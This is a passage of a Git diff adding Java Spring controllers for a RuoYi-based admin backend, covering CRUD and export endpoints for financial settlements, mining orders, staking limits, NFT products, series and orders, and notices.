@PostMapping("/export")
public void export(HttpServletResponse response, TMineOrderDay tMineOrderDay)
{
List<TMineOrderDay> list = tMineOrderDayService.selectTMineOrderDayList(tMineOrderDay);
ExcelUtil<TMineOrderDay> util = new ExcelUtil<TMineOrderDay>(TMineOrderDay.class);
util.exportExcel(response, list, "理财每日结算数据");
}
/**
* 获取理财每日结算详细信息
*/
@PreAuthorize("@ss.hasPermi('system:day:query')")
@GetMapping(value = "/{amount}")
public AjaxResult getInfo(@PathVariable("amount") BigDecimal amount)
{
return success(tMineOrderDayService.selectTMineOrderDayByAmount(amount));
}
/**
* 新增理财每日结算
*/
@PreAuthorize("@ss.hasPermi('system:day:add')")
@Log(title = "理财每日结算", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMineOrderDay tMineOrderDay)
{
return toAjax(tMineOrderDayService.insertTMineOrderDay(tMineOrderDay));
}
/**
* 修改理财每日结算
*/
@PreAuthorize("@ss.hasPermi('system:day:edit')")
@Log(title = "理财每日结算", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMineOrderDay tMineOrderDay)
{
return toAjax(tMineOrderDayService.updateTMineOrderDay(tMineOrderDay));
}
/**
* 删除理财每日结算
*/
@PreAuthorize("@ss.hasPermi('system:day:remove')")
@Log(title = "理财每日结算", businessType = BusinessType.DELETE)
@DeleteMapping("/{amounts}")
public AjaxResult remove(@PathVariable BigDecimal[] amounts)
{
return toAjax(tMineOrderDayService.deleteTMineOrderDayByAmounts(amounts));
}
}

105
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java

@ -0,0 +1,105 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TMineUser;
import com.ruoyi.bussiness.service.ITMineUserService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 请填写功能名称Controller
*
* @author ruoyi
* @date 2023-07-17
*/
@RestController
@RequestMapping("/bussiness/mine/user")
public class TMineUserController extends BaseController
{
@Autowired
private ITMineUserService tMineUserService;
/**
* 查询请填写功能名称列表
*/
@PreAuthorize("@ss.hasPermi('system:user:list')")
@GetMapping("/list")
public TableDataInfo list(TMineUser tMineUser)
{
startPage();
List<TMineUser> list = tMineUserService.selectTMineUserList(tMineUser);
return getDataTable(list);
}
/**
* 导出请填写功能名称列表
*/
@PreAuthorize("@ss.hasPermi('system:user:export')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TMineUser tMineUser)
{
List<TMineUser> list = tMineUserService.selectTMineUserList(tMineUser);
ExcelUtil<TMineUser> util = new ExcelUtil<TMineUser>(TMineUser.class);
util.exportExcel(response, list, "【请填写功能名称】数据");
}
/**
* 获取请填写功能名称详细信息
*/
@PreAuthorize("@ss.hasPermi('system:user:query')")
@GetMapping(value = "/{userId}")
public AjaxResult getInfo(@PathVariable("userId") Long userId)
{
return success(tMineUserService.selectTMineUserByUserId(userId));
}
/**
* 新增请填写功能名称
*/
@PreAuthorize("@ss.hasPermi('system:user:add')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMineUser tMineUser)
{
return toAjax(tMineUserService.insertTMineUser(tMineUser));
}
/**
* 修改请填写功能名称
*/
@PreAuthorize("@ss.hasPermi('system:user:edit')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMineUser tMineUser)
{
return toAjax(tMineUserService.updateTMineUser(tMineUser));
}
/**
* 删除请填写功能名称
*/
@PreAuthorize("@ss.hasPermi('system:user:remove')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE)
@DeleteMapping("/{userIds}")
public AjaxResult remove(@PathVariable Long[] userIds)
{
return toAjax(tMineUserService.deleteTMineUserByUserIds(userIds));
}
}

116
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java

@ -0,0 +1,116 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TMingOrder;
import com.ruoyi.bussiness.service.ITMingOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* mingController
*
* @author ruoyi
* @date 2023-08-18
*/
@RestController
@RequestMapping("/bussiness/ming/order")
public class TMingOrderController extends BaseController
{
@Autowired
private ITMingOrderService tMingOrderService;
/**
* 查询ming列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:list')")
@GetMapping("/list")
public TableDataInfo list(TMingOrder tMingOrder)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tMingOrder.setAdminUserIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TMingOrder> list = tMingOrderService.selectTMingOrderList(tMingOrder);
return getDataTable(list);
}
/**
* 导出ming列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:export')")
@Log(title = "ming", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TMingOrder tMingOrder)
{
List<TMingOrder> list = tMingOrderService.selectTMingOrderList(tMingOrder);
ExcelUtil<TMingOrder> util = new ExcelUtil<TMingOrder>(TMingOrder.class);
util.exportExcel(response, list, "ming数据");
}
/**
* 获取ming详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tMingOrderService.selectTMingOrderById(id));
}
/**
* 新增ming
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:add')")
@Log(title = "ming", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMingOrder tMingOrder)
{
return toAjax(tMingOrderService.insertTMingOrder(tMingOrder));
}
/**
* 修改ming
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:edit')")
@Log(title = "ming", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMingOrder tMingOrder)
{
return toAjax(tMingOrderService.updateTMingOrder(tMingOrder));
}
/**
* 删除ming
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:remove')")
@Log(title = "ming", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tMingOrderService.deleteTMingOrderByIds(ids));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TMingProduct;
import com.ruoyi.bussiness.service.ITMingProductService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* mingProductController
*
* @author ruoyi
* @date 2023-08-18
*/
@RestController
@RequestMapping("/bussiness/ming")
public class TMingProductController extends BaseController
{
@Autowired
private ITMingProductService tMingProductService;
/**
* 查询mingProduct列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ming:list')")
@GetMapping("/list")
public TableDataInfo list(TMingProduct tMingProduct)
{
startPage();
List<TMingProduct> list = tMingProductService.selectTMingProductList(tMingProduct);
return getDataTable(list);
}
/**
* 导出mingProduct列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ming:export')")
@Log(title = "mingProduct", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TMingProduct tMingProduct)
{
List<TMingProduct> list = tMingProductService.selectTMingProductList(tMingProduct);
ExcelUtil<TMingProduct> util = new ExcelUtil<TMingProduct>(TMingProduct.class);
util.exportExcel(response, list, "mingProduct数据");
}
/**
* 获取mingProduct详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:ming:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tMingProductService.selectTMingProductById(id));
}
/**
* 新增mingProduct
*/
@PreAuthorize("@ss.hasPermi('bussiness:ming:add')")
@Log(title = "mingProduct", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMingProduct tMingProduct)
{
return toAjax(tMingProductService.insertTMingProduct(tMingProduct));
}
/**
* 修改mingProduct
*/
@PreAuthorize("@ss.hasPermi('bussiness:ming:edit')")
@Log(title = "mingProduct", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMingProduct tMingProduct)
{
return toAjax(tMingProductService.updateTMingProduct(tMingProduct));
}
/**
* 删除mingProduct
*/
@PreAuthorize("@ss.hasPermi('bussiness:ming:remove')")
@Log(title = "mingProduct", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tMingProductService.deleteTMingProductByIds(ids));
}
}

91
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java

@ -0,0 +1,91 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TMingProductUser;
import com.ruoyi.bussiness.service.ITMingProductUserService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 用户购买质押限制Controller
*
* @author ruoyi
* @date 2023-10-11
*/
@RestController
@RequestMapping("/bussiness/productUser")
public class TMingProductUserController extends BaseController
{
@Autowired
private ITMingProductUserService tMingProductUserService;
/**
* 查询用户购买质押限制列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:productUser:list')")
@GetMapping("/list")
public TableDataInfo list(TMingProductUser tMingProductUser)
{
startPage();
List<TMingProductUser> list = tMingProductUserService.selectTMingProductUserList(tMingProductUser);
return getDataTable(list);
}
/**
* 获取用户购买质押限制详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:productUser:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tMingProductUserService.selectTMingProductUserById(id));
}
/**
* 新增用户购买质押限制
*/
@PreAuthorize("@ss.hasPermi('bussiness:productUser:add')")
@Log(title = "用户购买质押限制", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMingProductUser tMingProductUser)
{
return toAjax(tMingProductUserService.insertTMingProductUser(tMingProductUser));
}
/**
* 修改用户购买质押限制
*/
@PreAuthorize("@ss.hasPermi('bussiness:productUser:edit')")
@Log(title = "用户购买质押限制", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMingProductUser tMingProductUser)
{
return toAjax(tMingProductUserService.updateTMingProductUser(tMingProductUser));
}
/**
* 删除用户购买质押限制
*/
@PreAuthorize("@ss.hasPermi('bussiness:productUser:remove')")
@Log(title = "用户购买质押限制", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tMingProductUserService.deleteTMingProductUserByIds(ids));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TNftOrder;
import com.ruoyi.bussiness.service.ITNftOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* nft订单Controller
*
* @author ruoyi
* @date 2023-09-01
*/
@RestController
@RequestMapping("/bussiness/nftOrder")
public class TNftOrderController extends BaseController
{
@Autowired
private ITNftOrderService tNftOrderService;
/**
* 查询nft订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftOrder:list')")
@GetMapping("/list")
public TableDataInfo list(TNftOrder tNftOrder)
{
startPage();
List<TNftOrder> list = tNftOrderService.selectTNftOrderList(tNftOrder);
return getDataTable(list);
}
/**
* 导出nft订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftOrder:export')")
@Log(title = "nft订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TNftOrder tNftOrder)
{
List<TNftOrder> list = tNftOrderService.selectTNftOrderList(tNftOrder);
ExcelUtil<TNftOrder> util = new ExcelUtil<TNftOrder>(TNftOrder.class);
util.exportExcel(response, list, "nft订单数据");
}
/**
* 获取nft订单详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftOrder:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tNftOrderService.selectTNftOrderById(id));
}
/**
* 新增nft订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftOrder:add')")
@Log(title = "nft订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TNftOrder tNftOrder)
{
return toAjax(tNftOrderService.insertTNftOrder(tNftOrder));
}
/**
* 修改nft订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftOrder:edit')")
@Log(title = "nft订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TNftOrder tNftOrder)
{
return toAjax(tNftOrderService.updateTNftOrder(tNftOrder));
}
/**
* 删除nft订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftOrder:remove')")
@Log(title = "nft订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tNftOrderService.deleteTNftOrderByIds(ids));
}
}

127
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java

@ -0,0 +1,127 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.TNftOrder;
import com.ruoyi.bussiness.domain.TNftSeries;
import com.ruoyi.bussiness.service.ITNftOrderService;
import com.ruoyi.bussiness.service.ITNftSeriesService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TNftProduct;
import com.ruoyi.bussiness.service.ITNftProductService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* nft详情Controller
*
* @author ruoyi
* @date 2023-09-01
*/
@RestController
@RequestMapping("/bussiness/nftProduct")
public class TNftProductController extends BaseController
{
@Autowired
private ITNftProductService tNftProductService;
@Resource
private ITNftSeriesService tNftSeriesService;
@Resource
private ITNftOrderService tNftOrderService;
/**
* 查询nft详情列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftProduct:list')")
@GetMapping("/list")
public TableDataInfo list(TNftProduct tNftProduct)
{
startPage();
List<TNftProduct> list = tNftProductService.selectTNftProductList(tNftProduct);
return getDataTable(list);
}
/**
* 获取nft详情详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftProduct:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tNftProductService.selectTNftProductById(id));
}
/**
* 新增nft详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftProduct:add')")
@Log(title = "nft详情", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TNftProduct tNftProduct)
{
if (tNftProduct.getSeriesId()!=null){
TNftSeries series = tNftSeriesService.getById(tNftProduct.getSeriesId());
tNftProduct.setChainType(series.getChainType());
}else{
return AjaxResult.error("合集不能为空");
}
return toAjax(tNftProductService.insertTNftProduct(tNftProduct));
}
/**
* 修改nft详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftProduct:edit')")
@Log(title = "nft详情", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TNftProduct tNftProduct)
{
TNftProduct oldProduct = tNftProductService.getById(tNftProduct.getId());
List<TNftOrder> list = tNftOrderService.list(new LambdaQueryWrapper<TNftOrder>().eq(TNftOrder::getProductId, tNftProduct.getId()));
if ("2".equals(oldProduct.getStatus()) || CollectionUtils.isEmpty(list)){
return AjaxResult.error("该藏品已上架/正在交易,不能修改!");
}
return toAjax(tNftProductService.updateTNftProduct(tNftProduct));
}
@PreAuthorize("@ss.hasPermi('bussiness:nftProduct:upOrDown')")
@Log(title = "NFT藏品上下架", businessType = BusinessType.UPDATE)
@PostMapping("/upOrDownPro")
public AjaxResult upOrDownPro(@RequestBody TNftProduct tNftProduct)
{
return toAjax(tNftProductService.updateTNftProduct(tNftProduct));
}
/**
* 删除nft详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:nftProduct:remove')")
@Log(title = "nft详情", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long id)
{
TNftProduct oldProduct = tNftProductService.getById(id);
List<TNftOrder> list = tNftOrderService.list(new LambdaQueryWrapper<TNftOrder>().eq(TNftOrder::getProductId, id));
if ("2".equals(oldProduct.getStatus()) || CollectionUtils.isEmpty(list)){
return AjaxResult.error("该藏品已上架/正在交易,不能删除!");
}
return toAjax(tNftProductService.deleteTNftProductById(id));
}
}

114
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java

@ -0,0 +1,114 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.TNftProduct;
import com.ruoyi.bussiness.service.ITNftProductService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TNftSeries;
import com.ruoyi.bussiness.service.ITNftSeriesService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* nft合计Controller
*
* @author ruoyi
* @date 2023-09-01
*/
@RestController
@RequestMapping("/bussiness/series")
public class TNftSeriesController extends BaseController
{
@Autowired
private ITNftSeriesService tNftSeriesService;
@Resource
private ITNftProductService tNftProductService;
/**
* 查询nft合计列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:series:list')")
@GetMapping("/list")
public TableDataInfo list(TNftSeries tNftSeries)
{
startPage();
List<TNftSeries> list = tNftSeriesService.selectTNftSeriesList(tNftSeries);
return getDataTable(list);
}
@PostMapping("/addProSeries")
public AjaxResult addProSeries()
{
List<TNftSeries> list = tNftSeriesService.selectTNftSeriesList(new TNftSeries());
return AjaxResult.success(list);
}
/**
* 获取nft合计详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:series:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tNftSeriesService.selectTNftSeriesById(id));
}
/**
* 新增nft合计
*/
@PreAuthorize("@ss.hasPermi('bussiness:series:add')")
@Log(title = "nft合计", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TNftSeries tNftSeries)
{
return toAjax(tNftSeriesService.insertTNftSeries(tNftSeries));
}
/**
* 修改nft合计
*/
@PreAuthorize("@ss.hasPermi('bussiness:series:edit')")
@Log(title = "nft合计", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TNftSeries tNftSeries)
{
List<TNftProduct> list = tNftProductService.list(new LambdaQueryWrapper<TNftProduct>().eq(TNftProduct::getSeriesId, tNftSeries.getId()));
if (!CollectionUtils.isEmpty(list)){
return AjaxResult.error("该合集已被使用,不能修改");
}
return toAjax(tNftSeriesService.updateTNftSeries(tNftSeries));
}
/**
* 删除nft合计
*/
@PreAuthorize("@ss.hasPermi('bussiness:series:remove')")
@Log(title = "nft合计", businessType = BusinessType.DELETE)
@DeleteMapping("/{id}")
public AjaxResult remove(@PathVariable Long id)
{
List<TNftProduct> list = tNftProductService.list(new LambdaQueryWrapper<TNftProduct>().eq(TNftProduct::getSeriesId, id));
if (!CollectionUtils.isEmpty(list)){
return AjaxResult.error("该合集已被使用,不能删除");
}
return toAjax(tNftSeriesService.deleteTNftSeriesById(id));
}
}

160
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java

@ -0,0 +1,160 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.enums.HttpMethod;
import com.ruoyi.common.enums.NoticeTypeEnum;
import com.ruoyi.common.enums.OptionRulesEnum;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TNotice;
import com.ruoyi.bussiness.service.ITNoticeService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 通知公告Controller
*
* @author ruoyi
* @date 2023-07-20
*/
@RestController
@RequestMapping("/bussiness/notice")
public class TNoticeController extends BaseController
{
@Autowired
private ITNoticeService tNoticeService;
/**
* 查询通知公告列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:list')")
@GetMapping("/list")
public TableDataInfo list(TNotice tNotice)
{
tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode());
if (StringUtils.isNotBlank(tNotice.getModelKey())){
tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode());
}
startPage();
List<TNotice> list = tNoticeService.selectTNoticeList(tNotice);
NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values();
NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values();
for (TNotice notice:list) {
if (notice.getModelType()!=null){
for (int i = 0; i < childrenEnumList.length; i++) {
if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){
notice.setModelType(childrenEnumList[i].getValue());
notice.setModelKey(childrenEnumList[i].name());
}
}
}
for (NoticeTypeEnum typeEnum:typeEnumList) {
if (typeEnum.getCode().equals(notice.getNoticeType())){
notice.setNoticeType(typeEnum.getValue());
notice.setKey(typeEnum.name());
}
}
}
return getDataTable(list);
}
/**
* 导出通知公告列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:export')")
@Log(title = "通知公告", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TNotice tNotice)
{
List<TNotice> list = tNoticeService.selectTNoticeList(tNotice);
ExcelUtil<TNotice> util = new ExcelUtil<TNotice>(TNotice.class);
util.exportExcel(response, list, "通知公告数据");
}
/**
* 获取通知公告详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:query')")
@GetMapping(value = "/{noticeId}")
public AjaxResult getInfo(@PathVariable("noticeId") Long noticeId)
{
TNotice tNotice = tNoticeService.selectTNoticeByNoticeId(noticeId);
NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values();
NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values();
if (tNotice.getModelType()!=null){
for (int i = 0; i < childrenEnumList.length; i++) {
if (tNotice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(tNotice.getModelType())){
// tNotice.setModelType(childrenEnumList[i].getValue());
tNotice.setModelKey(childrenEnumList[i].name());
}
}
}
for (NoticeTypeEnum typeEnum:typeEnumList) {
if (typeEnum.getCode().equals(tNotice.getNoticeType())){
// tNotice.setNoticeType(typeEnum.getValue());
tNotice.setKey(typeEnum.name());
}
}
return success(tNotice);
}
/**
* 新增通知公告
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:add')")
@Log(title = "通知公告", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TNotice tNotice)
{
return toAjax(tNoticeService.insertTNotice(tNotice));
}
/**
* 修改通知公告
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:edit')")
@Log(title = "通知公告", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TNotice tNotice)
{
return toAjax(tNoticeService.updateTNotice(tNotice));
}
/**
* 删除通知公告
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:remove')")
@Log(title = "通知公告", businessType = BusinessType.DELETE)
@DeleteMapping("/{noticeIds}")
public AjaxResult remove(@PathVariable Long[] noticeIds)
{
return toAjax(tNoticeService.deleteTNoticeByNoticeIds(noticeIds));
